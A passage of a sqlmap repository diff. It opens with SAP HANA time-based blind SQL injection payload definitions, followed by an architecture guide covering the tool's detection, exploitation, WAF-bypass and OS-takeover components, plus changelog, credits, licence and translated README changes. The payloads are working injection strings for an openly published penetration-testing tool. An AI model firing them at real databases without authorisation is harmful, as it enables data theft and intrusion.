<vector>AND [RANDNUM]=(SELECT COUNT(*) FROM SYS.OBJECTS AS T1,SYS.OBJECTS AS T2,SYS.OBJECTS AS T3 WHERE LOWER(T1.OBJECT_NAME)!=UPPER(T2.OBJECT_NAME) AND ([INFERENCE]))</vector>
<request>
<payload>AND [RANDNUM]=(SELECT COUNT(*) FROM SYS.OBJECTS AS T1,SYS.OBJECTS AS T2,SYS.OBJECTS AS T3 WHERE LOWER(T1.OBJECT_NAME)!=UPPER(T2.OBJECT_NAME))</payload>
<comment>--</comment>
</request>
<response>
<time>[DELAYED]</time>
</response>
<details>
<dbms>SAP HANA</dbms>
</details>
</test>
<test>
<title>SAP HANA time-based blind - Parameter replace (heavy query)</title>
<stype>5</stype>
<level>5</level>
<risk>2</risk>
<clause>1,2,3,9</clause>
<where>3</where>
<vector>(SELECT COUNT(*) FROM SYS.OBJECTS AS T1,SYS.OBJECTS AS T2,SYS.OBJECTS AS T3 WHERE LOWER(T1.OBJECT_NAME)!=UPPER(T2.OBJECT_NAME) AND ([INFERENCE]))</vector>
<request>
<payload>(SELECT COUNT(*) FROM SYS.OBJECTS AS T1,SYS.OBJECTS AS T2,SYS.OBJECTS AS T3 WHERE LOWER(T1.OBJECT_NAME)!=UPPER(T2.OBJECT_NAME))</payload>
</request>
<response>
<time>[DELAYED]</time>
</response>
<details>
<dbms>SAP HANA</dbms>
</details>
</test>
<!-- End of time-based boolean tests - ORDER BY, GROUP BY clause -->
</root>
+498 -116
View File
File diff suppressed because it is too large Load Diff
+237
View File
@@ -0,0 +1,237 @@
# sqlmap architecture
A contributor-oriented map of how sqlmap is put together: the major components,
how a run flows through them, and where to start looking for a given concern.
> This is a map, not a spec. It describes the durable structure and data flow; for
> exact signatures, option names, and enumerable lists (tampers, DBMSes, options),
> the source is authoritative. **When this document disagrees with the code, the code wins.**
sqlmap runs on both Python 2.7 and 3.x; sources are kept pure-ASCII unless a literal
non-ASCII byte is unavoidable. Compatibility shims live in `lib/core/compat.py` and
`thirdparty/six`.
---
## 1. Entry points
| Entry | File | Purpose |
|-------|------|---------|
| CLI | `sqlmap.py` -> `main()` | the scanner. Applies runtime patches, parses options, runs a scan. |
| REST API | `sqlmapapi.py` | `-s` server / `-c` client wrappers around `lib/utils/api.py`. |
`main()` (sqlmap.py) does, in order: `dirtyPatches()` (monkey-patches stdlib for
quirks/security - see below), `setPaths()`, `init()` (option parsing + environment
setup), then dispatches to `start()` for a normal scan, or to the self-tests
(`--smoke` / `--vuln-test` / `--api-test`) in `lib/core/testing.py`.
---
## 2. Global state: `conf` and `kb`
Almost everything hangs off two process-global singletons defined in `lib/core/data.py`,
both `AttribDict` (attribute-accessible dicts; missing keys read back as `None`):
- **`conf`** - the resolved user configuration (options + derived settings). What the
user asked for.
- **`kb`** ("knowledge base") - mutable runtime state discovered during a run
(identified DBMS, injection points, page templates, caches, locks, counters).
The configuration pipeline (`lib/core/`):
- `parse/cmdline.py` - argparse definition of every CLI option.
- `core/optiondict.py` - option name -> type map (used for config-file/API coercion).
- `core/defaults.py` - default values.
- `core/option.py` - the heavy lifter: `_setConfAttributes()`, `_setKnowledgeBaseAttributes()`,
`_setHTTPHandlers()` (installs the global urllib opener incl. keep-alive), DBMS/encoding
setup, etc. Merges CLI + config file + defaults into `conf`/`kb`.
- `core/settings.py` - constants, version, regexes, thresholds. **New constants go here.**
Identifiers in the codebase are camelCase.
---
## 3. Top-level layout
| Path | Responsibility |
|------|----------------|
| `lib/core/` | conf/kb model, common helpers, settings, enums, dump, session, agent, option parsing |
| `lib/controller/` | the scan orchestrator (`controller.py`), detection checks (`checks.py`), enumeration dispatch (`action.py`), DBMS handler selection (`handler.py`) |
| `lib/request/` | HTTP layer: `connect.py` (sending), `comparison.py` (the true/false oracle), `inject.py` (value extraction), protocol handlers, response processing |
| `lib/techniques/` | the exploitation engines: `blind/inference.py`, `error/use.py`, `union/{test,use}.py`, `dns/` |
| `lib/parse/` | parsing of inputs: CLI, config, HTTP request/log files, HTML, sitemap, and the XML payload/boundary loader (`payloads.py`) |
| `lib/utils/` | feature modules: `api.py` (REST), `hashdb.py` (session), `crawler.py`, `hash.py` (cracking), `har.py`, `brute.py`, `search.py`, ... |
| `lib/takeover/` | OS-level takeover: shells, file access, UDF, registry, Metasploit, `xp_cmdshell` |
| `plugins/generic/` | DBMS-agnostic enumeration/fingerprint/filesystem/takeover base classes |
| `plugins/dbms/<dbms>/` | per-DBMS subclasses + dialect (one dir per supported DBMS) |
| `tamper/` | payload-mutation scripts (WAF bypass), one `tamper()` per file |
| `data/xml/` | the data-driven engine: `boundaries.xml`, `payloads/*.xml`, `queries.xml`, `errors.xml` |
| `data/` (other) | wordlists/common tables/columns (`txt/`), UDFs (`udf/`), stored procs (`procs/`), shells (`shell/`) |
| `tests/` | stdlib-unittest suite (offline); see section 11 |
| `thirdparty/` | vendored dependencies (six, bottle, chardet, ...) - no pip at runtime |
| `extra/` | auxiliary tools (e.g. `vulnserver` used by `--vuln-test`) |
---
## 4. The scan lifecycle (`lib/controller/controller.py: start()`)
For each target:
1. **Target setup** - `initTargetEnv()` / `setupTargetEnv()` (`lib/core/target.py`):
resolve URL/params, open the per-target output dir and session file
(`conf.hashDBFile`), and **resume** anything already known (DBMS, injection points,
cached values) from the session.
2. **Connection & profiling** (`lib/controller/checks.py`): `checkConnection()`,
`checkWaf()` (fills `kb.identifiedWafs`), `checkStability()` /
dynamic-content detection (establishes `kb.pageTemplate`, `kb.matchRatio`).
3. **Heuristics** - `heuristicCheckSqlInjection()` (cheap error-based hint).
4. **Detection** - `checkSqlInjection(place, parameter, value)` per parameter, driven by
the data engine (section 5). Confirmed points are appended to `kb.injections`.
5. **Fingerprint & handler** - `lib/controller/handler.py: setHandler()` identifies the
back-end DBMS and assigns `conf.dbmsHandler`, the object through which all
enumeration is dispatched (section 7).
6. **Action** - `action()` (`lib/controller/action.py`) routes the requested operation
(`--banner`, `--dbs`, `--tables`, `--dump`, `--sql-query`, `--os-shell`, ...) to
`conf.dbmsHandler` methods, and feeds results to `conf.dumper`.
If nothing is injectable, the dead-end advisory (level/risk, technique, `--text-only`,
`--tamper` - definitive when `kb.identifiedWafs` is set) is raised as
`SqlmapNotVulnerableException`.
---
## 5. The data-driven detection engine
Detection behavior lives in **data, not code** - `data/xml/`, loaded by
`lib/parse/payloads.py` (`loadBoundaries()`, `loadPayloads()`):
- **`boundaries.xml`** - injection *boundaries*: prefix/suffix pairs and the
clause/where/parameter-type context they apply to (e.g. quote vs. numeric contexts).
- **`payloads/*.xml`** - the *tests*, one file per technique
(`boolean_blind`, `error_based`, `inline_query`, `stacked_queries`, `time_blind`,
`union_query`), each with the request template and the comparison/grep logic that
decides success.
`getSortedInjectionTests()` (`lib/core/common.py`) orders the candidate tests by the
identified/likely DBMS, `--level`, and `--risk`. The **agent** (`lib/core/agent.py`)
forges the actual payload string - applying boundary prefix/suffix, the `[RANDNUM]`/
`[DELIMITER]`-style markers, comments, and tamper scripts. Requests go out via
`lib/request/connect.py`; the **oracle** `lib/request/comparison.py` decides true/false
by comparing the response against `kb.pageTemplate` (difflib ratio vs. `kb.matchRatio`,
plus titles/errors/HTTP-code signals).
---
## 6. Exploitation techniques
Once a parameter is injectable, value extraction is dispatched by
`lib/request/inject.py: getValue()` to the matching engine in `lib/techniques/`:
| Technique | Engine | Mechanism |
|-----------|--------|-----------|
| boolean-based blind | `blind/inference.py: bisection()` | binary-search each character via true/false oracle |
| time-based blind / stacked | `blind/inference.py` (time compare) | same bisection, oracle is a measured delay |
| error-based | `error/use.py: errorUse()` | parse the value straight out of a provoked DB error |
| UNION query | `union/{test,use}.py` | column-count detection then `UNION SELECT` extraction |
| inline query | (inline, via inject) | value embedded in the original query position |
| DNS exfiltration | `dns/` | `--dns-domain` out-of-band channel |
`bisection()` is the hot loop; it caches the `--charset` table in
`kb.cache.charsetAsciiTbl` and respects the `kb.disableShiftTable` runaway-guard latch
(intentional). Multi-threaded extraction is coordinated via `kb.locks` and
`getCurrentThreadData()` (`lib/core/threads.py`).
---
## 7. DBMS abstraction
Enumeration is DBMS-agnostic at the top and specialized underneath:
- **`plugins/generic/`** - base classes for each concern: `fingerprint.py`,
`enumeration.py`, `databases.py`, `entries.py`, `users.py`, `filesystem.py`,
`takeover.py`, `syntax.py`, `misc.py`, `search.py`, `custom.py`, `connector.py`
(direct DB connection for `-d`).
- **`plugins/dbms/<dbms>/`** - one directory per supported DBMS, subclassing the generic
pieces and supplying dialect specifics.
- **`data/xml/queries.xml`** - per-DBMS SQL query templates (banner, current user, table
enumeration, casting, etc.) keyed by DBMS. The generic code asks for a query by name;
the dialect comes from XML.
`conf.dbmsHandler` (set in `handler.py`) is the live object that `action()` calls into.
---
## 8. Output and session
- **Output** - `conf.dumper` is a `Dump` instance (`lib/core/dump.py`): console tables
plus per-table file export in CSV / HTML / SQLITE / JSONL (`--dump-format`). Logging
is via `logger` (`lib/core/log.py`).
- **Session / resume** - each target gets a SQLite session file
(`<output>/<host>/session.sqlite`). `hashDBWrite()` / `hashDBRetrieve()`
(`lib/core/common.py`, backed by `lib/utils/hashdb.py`) cache injection points,
fingerprint, and extracted values so a re-run *resumes* instead of re-testing
(`--flush-session` discards it; `--fresh-queries` ignores cached query results). A
stale-session nudge fires on resume when the file is older than `HASHDB_STALE_DAYS`.
---
## 9. Request layer and tampering
`lib/request/connect.py` (`Connect.getPage`) is the single HTTP chokepoint. Around it:
protocol handlers (`httpshandler`, `redirecthandler`, `chunkedhandler`, `rangehandler`,
persistent connections via `lib/request/keepalive.py`), response processing (`basic.py`), and the
comparison oracle (`comparison.py`).
**Tamper scripts** (`tamper/`) mutate the payload just before sending to evade WAF/IPS.
Each file exposes a `tamper(payload, **kwargs)` and a `__priority__`; `--tamper=a,b,c`
chains them in priority order. They are payload-string transforms only (no engine
coupling), which is why they compose freely.
---
## 10. REST API and JSON report
`lib/utils/api.py` runs a Bottle server (`sqlmapapi.py -s`) that drives sqlmap scans as
subprocesses and exposes them over HTTP. Key pieces: `DataStore`/`Task` (task registry),
an IPC SQLite `Database` (the subprocess writes results/logs/errors back through
`StdDbOut`), and the route handlers (`/task/*`, `/option/*`, `/scan/*`, `/version`, ...).
The contract is documented in `sqlmapapi.yaml` (OpenAPI) and `REST-API.md`.
`--report-json` reuses the *same* assembly code (`_assembleData` / `_sanitizeScanData`)
that the `/scan/<id>/data` endpoint uses, so the CLI report and the API result can't
drift; `RESTAPI_VERSION` is the API contract version (major exposed as integer).
---
## 11. Tests and self-tests
Two complementary layers:
- **Offline unit/regression suite** (`tests/`) - stdlib `unittest` only (no pytest/pip),
green on py2 + py3. `_testutils.py` bootstraps global state and provides the
property/fuzz harness (`Rng` - a cross-version-identical PRNG - and `for_all`). Run:
`python -B -m unittest discover -s tests -p "test_*.py"` (`-B` matters: a cached `.pyc`
makes a `getFileType(__file__)` doctest see `binary`).
- **In-tree self-tests** (`lib/core/testing.py`, hidden switches): `--smoke-test`
(doctests + regex sanity over the whole tree), `--vuln-test` (end-to-end scans against
the bundled `extra/vulnserver`), `--api-test` (live REST round-trip). The CI workflow
(`.github/workflows/tests.yml`) runs all of these.
---
## 12. "Where do I start for ...?"
| I want to change... | Start in |
|---------------------|----------|
| a CLI option | `lib/parse/cmdline.py` (+ `optiondict.py`, `defaults.py`) |
| a constant/threshold | `lib/core/settings.py` |
| how injection is *detected* | `data/xml/boundaries.xml` + `data/xml/payloads/*.xml`, then `lib/controller/checks.py` |
| how a value is *extracted* | `lib/request/inject.py` + the relevant `lib/techniques/` engine |
| the true/false decision | `lib/request/comparison.py` |
| a per-DBMS query/dialect | `data/xml/queries.xml` + `plugins/dbms/<dbms>/` |
| enumeration behavior | `plugins/generic/*.py` |
| dump/output format | `lib/core/dump.py` |
| a WAF-bypass transform | add a file under `tamper/` |
| the REST API surface | `lib/utils/api.py` (+ keep `sqlmapapi.yaml` in sync) |
| session/resume behavior | `lib/utils/hashdb.py` + `hashDB*` in `lib/core/common.py` |
| a stdlib monkey-patch / security shim | `lib/core/patch.py` |
+7 -7
View File
@@ -1,7 +1,7 @@
Bernardo Damele Assumpcao Guimaraes (@inquisb)
<[email protected]>
Miroslav Stampar (@stamparm)
<[email protected]>
You can contact both developers by writing to [email protected]
Bernardo Damele Assumpcao Guimaraes (@inquisb)
<[email protected]>
Miroslav Stampar (@stamparm)
<[email protected]>
You can contact both developers by writing to [email protected]
+35 -2
View File
@@ -1,3 +1,33 @@
# Version 1.10 (2026-01-01)
* [View changes](https://github.com/sqlmapproject/sqlmap/compare/1.9...1.10)
* [View issues](https://github.com/sqlmapproject/sqlmap/milestone/11?closed=1)
# Version 1.9 (2025-01-02)
* [View changes](https://github.com/sqlmapproject/sqlmap/compare/1.8...1.9)
* [View issues](https://github.com/sqlmapproject/sqlmap/milestone/10?closed=1)
# Version 1.8 (2024-01-03)
* [View changes](https://github.com/sqlmapproject/sqlmap/compare/1.7...1.8)
* [View issues](https://github.com/sqlmapproject/sqlmap/milestone/9?closed=1)
# Version 1.7 (2023-01-02)
* [View changes](https://github.com/sqlmapproject/sqlmap/compare/1.6...1.7)
* [View issues](https://github.com/sqlmapproject/sqlmap/milestone/8?closed=1)
# Version 1.6 (2022-01-03)
* [View changes](https://github.com/sqlmapproject/sqlmap/compare/1.5...1.6)
* [View issues](https://github.com/sqlmapproject/sqlmap/milestone/7?closed=1)
# Version 1.5 (2021-01-03)
* [View changes](https://github.com/sqlmapproject/sqlmap/compare/1.4...1.5)
* [View issues](https://github.com/sqlmapproject/sqlmap/milestone/6?closed=1)
# Version 1.4 (2020-01-01)
* [View changes](https://github.com/sqlmapproject/sqlmap/compare/1.3...1.4)
@@ -6,14 +36,17 @@
# Version 1.3 (2019-01-05)
* [View changes](https://github.com/sqlmapproject/sqlmap/compare/1.2...1.3)
* [View issues](https://github.com/sqlmapproject/sqlmap/milestone/4?closed=1)
# Version 1.2 (2018-01-08)
* [View changes](https://github.com/sqlmapproject/sqlmap/compare/1.1...1.2)
* [View issues](https://github.com/sqlmapproject/sqlmap/milestone/3?closed=1)
# Version 1.1 (2017-04-07)
* [View changes](https://github.com/sqlmapproject/sqlmap/compare/1.0...1.1)
* [View issues](https://github.com/sqlmapproject/sqlmap/milestone/2?closed=1)
# Version 1.0 (2016-02-27)
@@ -168,7 +201,7 @@
* Major code cleanup.
* Added simple file encryption/compression utility, extra/cloak/cloak.py, used by sqlmap to decrypt on the fly Churrasco, UPX executable and web shells consequently reducing drastically the number of anti-virus software that mistakenly mark sqlmap as a malware.
* Updated user's manual.
* Created several demo videos, hosted on YouTube (http://www.youtube.com/user/inquisb) and linked from http://sqlmap.org/demo.html.
* Created several demo videos, hosted on YouTube (http://www.youtube.com/user/inquisb) and linked from https://sqlmap.org/demo.html.
# Version 0.8 release candidate (2009-09-21)
@@ -340,7 +373,7 @@
* Added Microsoft SQL Server extensive DBMS fingerprint checks based upon accurate '@@version' parsing matching on an XML file to get also the exact patching level of the DBMS;
* Added support for query ETA (Estimated Time of Arrival) real time calculation (`--eta`);
* Added support to extract database management system users password hash on MySQL and PostgreSQL (`--passwords`);
* Added docstrings to all functions, classes and methods, consequently released the sqlmap development documentation <http://sqlmap.org/dev/>;
* Added docstrings to all functions, classes and methods, consequently released the sqlmap development documentation <https://sqlmap.org/dev/>;
* Implemented Google dorking feature (`-g`) to take advantage of Google results affected by SQL injection to perform other command line argument on their DBMS;
* Improved logging functionality: passed from banal 'print' to Python native logging library;
* Added support for more than one parameter in `-p` command line option;
+22 -9
View File
@@ -109,9 +109,15 @@ Alessandro Curio, <alessandro.curio(at)gmail.com>
Alessio Dalla Piazza, <alessio.dallapiazza(at)gmail.com>
* for reporting a couple of bugs
Alexis Danizan, <alexis.danizan(at)synacktiv.com>
* for contributing support for ClickHouse
Sherif El-Deeb, <archeldeeb(at)gmail.com>
* for reporting a minor bug
Thomas Etrillard, <thomas.etrillard(at)synacktiv.com>
* for contributing the IBM DB2 error-based payloads (RAISE_ERROR)
Stefano Di Paola, <stefano.dipaola(at)wisec.it>
* for suggesting good features
@@ -148,11 +154,6 @@ Giorgio Fedon, <giorgio.fedon(at)gmail.com>
Kasper Fons, <thefeds(at)mail.dk>
* for reporting several bugs
Jose Fonseca, <jose.r.fonseca(at)gmail.com>
* for his Gprof2Dot utility for converting profiler output to dot graph(s) and for his XDot utility to render nicely dot graph(s), both included in sqlmap tree inside extra folder. These libraries are used for sqlmap development purposes only
http://code.google.com/p/jrfonseca/wiki/Gprof2Dot
http://code.google.com/p/jrfonseca/wiki/XDot
Alan Franzoni, <alan.franzoni(at)gmail.com>
* for helping out with Python subprocess library
@@ -174,7 +175,7 @@ Ivan Giacomelli, <truemilk(at)insiberia.net>
* for reviewing the documentation
Dimitris Giannitsaros, <daremon(at)gmail.com>
* for contributing a REST-JSON API client
* for contributing a REST API client
Nico Golde, <nico(at)ngolde.de>
* for reporting a couple of bugs
@@ -193,9 +194,6 @@ David Guimaraes, <skysbsb(at)gmail.com>
* for reporting considerable amount of bugs
* for suggesting several features
Chris Hall, <chris.hall(at)mod10.net>
* for coding the prettyprint.py library
Tate Hansen, <tate(at)clearnetsec.com>
* for donating to sqlmap development
@@ -317,6 +315,9 @@ Michael Majchrowicz, <mmajchrowicz(at)gmail.com>
Vinícius Henrique Marangoni, <vinicius_marangoni1(at)hotmail.com>
* for contributing a Portuguese translation of README.md
Francesco Marano, <francesco.mrn24(at)gmail.com>
* for contributing the Microsoft SQL Server/Sybase error-based - Stacking (EXEC) payload
Ahmad Maulana, <matdhule(at)gmail.com>
* for contributing a tamper script halfversionedmorekeywords.py
@@ -486,6 +487,9 @@ Marek Sarvas, <marek.sarvas(at)gmail.com>
Philippe A. R. Schaeffer, <schaeff(at)compuphil.de>
* for reporting a minor bug
Henri Salo <henri(at)nerv.fi>
* for a donation
Mohd Zamiri Sanin, <zamiri.sanin(at)gmail.com>
* for reporting a minor bug
@@ -528,6 +532,9 @@ Duarte Silva <duarte.silva(at)serializing.me>
M Simkin, <mlsimkin(at)cox.net>
* for suggesting a feature
Tanaydin Sirin, <tanaydinsirin(at)gmail.com>
* for implementation of ncurses TUI (switch --tui)
Konrads Smelkovs, <konrads(at)smelkovs.com>
* for reporting a few bugs in --sql-shell and --sql-query on Microsoft SQL Server
@@ -616,6 +623,9 @@ Thierry Zoller, <thierry(at)zoller.lu>
Zhen Zhou, <zhouzhenster(at)gmail.com>
* for suggesting a feature
Zakaria Zoulati, <https://github.com/zakaria-zoulati>
* for contributing SAP HANA support
-insane-, <insane_(at)gmx.de>
* for reporting a minor bug
@@ -730,6 +740,9 @@ rmillet, <rmillet42(at)gmail.com>
Rub3nCT, <rub3nct(at)gmail.com>
* for reporting a minor bug
sapra, <amanistaken(at)gmail.com>
* for helping out with Python multiprocessing library on MacOS
shiftzwei, <shiftzwei(at)gmail.com>
* for reporting a couple of bugs
+4 -16
View File
@@ -15,9 +15,7 @@ This file lists bundled packages and their associated licensing terms.
Copyright (C) 2013, Jonathan Hartley.
* The `Fcrypt` library located under `thirdparty/fcrypt/`.
Copyright (C) 2000, 2001, 2004 Carey Evans.
* The `PrettyPrint` library located under `thirdparty/prettyprint/`.
Copyright (C) 2010, Chris Hall.
* The `SocksiPy` library located under `thirdparty/socks/`.
* The `PySocks` library located under `thirdparty/socks/`.
Copyright (C) 2006, Dan-Haim.
````
@@ -48,14 +46,6 @@ SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
* The `Chardet` library located under `thirdparty/chardet/`.
Copyright (C) 2008, Mark Pilgrim.
* The `Gprof2dot` library located under `thirdparty/gprof2dot/`.
Copyright (C) 2008-2009, Jose Fonseca.
* The `KeepAlive` library located under `thirdparty/keepalive/`.
Copyright (C) 2002-2003, Michael D. Stenner.
* The `MultipartPost` library located under `thirdparty/multipart/`.
Copyright (C) 2006, Will Holcomb.
* The `XDot` library located under `thirdparty/xdot/`
Copyright (C) 2008, Jose Fonseca.
* The `icmpsh` tool located under `extra/icmpsh/`.
Copyright (C) 2010, Nico Leidecker, Bernardo Damele.
@@ -275,13 +265,11 @@ be bound by the terms and conditions of this License Agreement.
# MIT
* The `bottle` web framework library located under `thirdparty/bottle/`.
Copyright (C) 2012, Marcel Hellkamp.
Copyright (C) 2024, Marcel Hellkamp.
* The `identYwaf` library located under `thirdparty/identywaf/`.
Copyright (C) 2019, Miroslav Stampar.
* The `ordereddict` library located under `thirdparty/odict/`.
Copyright (C) 2009, Raymond Hettinger.
Copyright (C) 2019-2021, Miroslav Stampar.
* The `six` Python 2 and 3 compatibility library located under `thirdparty/six/`.
Copyright (C) 2010-2018, Benjamin Peterson.
Copyright (C) 2010-2024, Benjamin Peterson.
* The `Termcolor` library located under `thirdparty/termcolor/`.
Copyright (C) 2008-2011, Volvox Development Team.
+69
View File
@@ -0,0 +1,69 @@
# sqlmap
[![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.7|3.x](https://img.shields.io/badge/python-2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![X](https://img.shields.io/badge/[email protected])](https://x.com/sqlmap)
<div dir=rtl>
برنامج sqlmap هو أداة اختبار اختراق مفتوحة المصدر تقوم بأتمتة عملية اكتشاف واستغلال ثغرات حقن SQL والسيطرة على خوادم قواعد البيانات. يأتي مع محرك كشف قوي، والعديد من الميزات المتخصصة لمختبر الاختراق المحترف، ومجموعة واسعة من الخيارات بما في ذلك تحديد بصمة قاعدة البيانات، واستخراج البيانات من قاعدة البيانات، والوصول إلى نظام الملفات الأساسي، وتنفيذ الأوامر على نظام التشغيل عبر اتصالات خارج النطاق.
لقطات الشاشة
----
<div dir=ltr>
![Screenshot](https://raw.github.com/wiki/sqlmapproject/sqlmap/images/sqlmap_screenshot.png)
<div dir=rtl>
يمكنك زيارة [مجموعة لقطات الشاشة](https://github.com/sqlmapproject/sqlmap/wiki/Screenshots) التي توضح بعض الميزات في الويكي.
التثبيت
----
يمكنك تحميل أحدث إصدار tarball بالنقر [هنا](https://github.com/sqlmapproject/sqlmap/tarball/master) أو أحدث إصدار zipball بالنقر [هنا](https://github.com/sqlmapproject/sqlmap/zipball/master).
يفضل تحميل sqlmap عن طريق استنساخ مستودع [Git](https://github.com/sqlmapproject/sqlmap):
<div dir=ltr>
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
<div dir=rtl>
يعمل sqlmap مباشرة مع [Python](https://www.python.org/download/) إصدار **2.6** و **2.7** و **3.x** على أي نظام تشغيل.
الاستخدام
----
للحصول على قائمة بالخيارات والمفاتيح الأساسية استخدم:
<div dir=ltr>
python sqlmap.py -h
<div dir=rtl>
للحصول على قائمة بجميع الخيارات والمفاتيح استخدم:
<div dir=ltr>
python sqlmap.py -hh
<div dir=rtl>
يمكنك العثور على مثال للتشغيل [هنا](https://asciinema.org/a/46601).
للحصول على نظرة عامة على إمكانيات sqlmap، وقائمة الميزات المدعومة، ووصف لجميع الخيارات والمفاتيح، مع الأمثلة، ننصحك بمراجعة [دليل المستخدم](https://github.com/sqlmapproject/sqlmap/wiki/Usage).
الروابط
----
* الصفحة الرئيسية: https://sqlmap.org
* التحميل: [&#x202A;.tar.gz&#x202C;](https://github.com/sqlmapproject/sqlmap/tarball/master) أو [&#x202A;.zip&#x202C;](https://github.com/sqlmapproject/sqlmap/zipball/master)
* تغذية التحديثات RSS: https://github.com/sqlmapproject/sqlmap/commits/master.atom
* تتبع المشكلات: https://github.com/sqlmapproject/sqlmap/issues
* دليل المستخدم: https://github.com/sqlmapproject/sqlmap/wiki
* الأسئلة الشائعة: https://github.com/sqlmapproject/sqlmap/wiki/FAQ
* تويتر: [@sqlmap](https://x.com/sqlmap)
* العروض التوضيحية: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos)
* ساحة التدريب: https://sekumart.sekuripy.hr
* لقطات الشاشة: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
+6 -5
View File
@@ -1,6 +1,6 @@
# sqlmap
[![Build Status](https://api.travis-ci.org/sqlmapproject/sqlmap.svg?branch=master)](https://travis-ci.org/sqlmapproject/sqlmap) [![Python 2.6|2.7|3.x](https://img.shields.io/badge/python-2.6|2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![PyPI version](https://badge.fury.io/py/sqlmap.svg)](https://badge.fury.io/py/sqlmap) [![GitHub closed issues](https://img.shields.io/github/issues-closed-raw/sqlmapproject/sqlmap.svg?colorB=ff69b4)](https://github.com/sqlmapproject/sqlmap/issues?q=is%3Aissue+is%3Aclosed) [![Twitter](https://img.shields.io/badge/twitter[email protected])](https://twitter.com/sqlmap)
[![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.7|3.x](https://img.shields.io/badge/python-2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![x](https://img.shields.io/badge/x[email protected])](https://x.com/sqlmap)
sqlmap e инструмент за тестване и проникване, с отворен код, който автоматизира процеса на откриване и използване на недостатъците на SQL база данните чрез SQL инжекция, която ги взима от сървъра. Снабден е с мощен детектор, множество специални функции за най-добрия тестер и широк спектър от функции, които могат да се използват за множество цели - извличане на данни от базата данни, достъп до основната файлова система и изпълняване на команди на операционната система.
@@ -20,7 +20,7 @@ sqlmap e инструмент за тестване и проникване, с
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
sqlmap работи самостоятелно с [Python](http://www.python.org/download/) версия **2.6**, **2.7** и **3.x** на всички платформи.
sqlmap работи самостоятелно с [Python](https://www.python.org/download/) версия **2.7** и **3.x** на всички платформи.
Използване
----
@@ -39,12 +39,13 @@ sqlmap работи самостоятелно с [Python](http://www.python.org
Връзки
----
* Начална страница: http://sqlmap.org
* Начална страница: https://sqlmap.org
* Изтегляне: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) or [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master)
* RSS емисия: https://github.com/sqlmapproject/sqlmap/commits/master.atom
* Проследяване на проблеми и въпроси: https://github.com/sqlmapproject/sqlmap/issues
* Упътване: https://github.com/sqlmapproject/sqlmap/wiki
* Често задавани въпроси (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
* Twitter: [@sqlmap](https://twitter.com/sqlmap)
* Демо: [http://www.youtube.com/user/inquisb/videos](http://www.youtube.com/user/inquisb/videos)
* X: [@sqlmap](https://x.com/sqlmap)
* Демо: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos)
* Площадка за упражнения: https://sekumart.sekuripy.hr
* Снимки на екрана: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
+63
View File
@@ -0,0 +1,63 @@
# sqlmap
[![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.7|3.x](https://img.shields.io/badge/python-2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![X](https://img.shields.io/badge/[email protected])](https://x.com/sqlmap)
**SQLMap** একটি ওপেন সোর্স পেনিট্রেশন টেস্টিং টুল যা স্বয়ংক্রিয়ভাবে SQL ইনজেকশন দুর্বলতা সনাক্ত ও শোষণ করতে এবং ডাটাবেস সার্ভার নিয়ন্ত্রণে নিতে সহায়তা করে। এটি একটি শক্তিশালী ডিটেকশন ইঞ্জিন, উন্নত ফিচার এবং পেনিট্রেশন টেস্টারদের জন্য দরকারি বিভিন্ন অপশন নিয়ে আসে। এর মাধ্যমে ডাটাবেস ফিঙ্গারপ্রিন্টিং, ডাটাবেস থেকে তথ্য আহরণ, ফাইল সিস্টেম অ্যাক্সেস, এবং অপারেটিং সিস্টেমে কমান্ড চালানোর মতো কাজ করা যায়, এমনকি আউট-অফ-ব্যান্ড সংযোগ ব্যবহার করেও।
স্ক্রিনশট
---
![Screenshot](https://raw.github.com/wiki/sqlmapproject/sqlmap/images/sqlmap_screenshot.png)
আপনি [Wiki-তে](https://github.com/sqlmapproject/sqlmap/wiki/Screenshots) গিয়ে SQLMap-এর বিভিন্ন ফিচারের ডেমোনস্ট্রেশন দেখতে পারেন।
ইনস্টলেশন
---
সর্বশেষ টারবলে ডাউনলোড করুন [এখানে](https://github.com/sqlmapproject/sqlmap/tarball/master) অথবা সর্বশেষ জিপ ফাইল [এখানে](https://github.com/sqlmapproject/sqlmap/zipball/master)।
অথবা, সরাসরি [Git](https://github.com/sqlmapproject/sqlmap) রিপোজিটরি থেকে ক্লোন করুন:
```
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
```
SQLMap স্বয়ংক্রিয়ভাবে [Python](https://www.python.org/download/) **2.7** এবং **3.x** সংস্করণে যেকোনো প্ল্যাটফর্মে কাজ করে।
ব্যবহারের নির্দেশিকা
---
বেসিক অপশন এবং সুইচসমূহ দেখতে ব্যবহার করুন:
```
python sqlmap.py -h
```
সমস্ত অপশন ও সুইচের তালিকা পেতে ব্যবহার করুন:
```
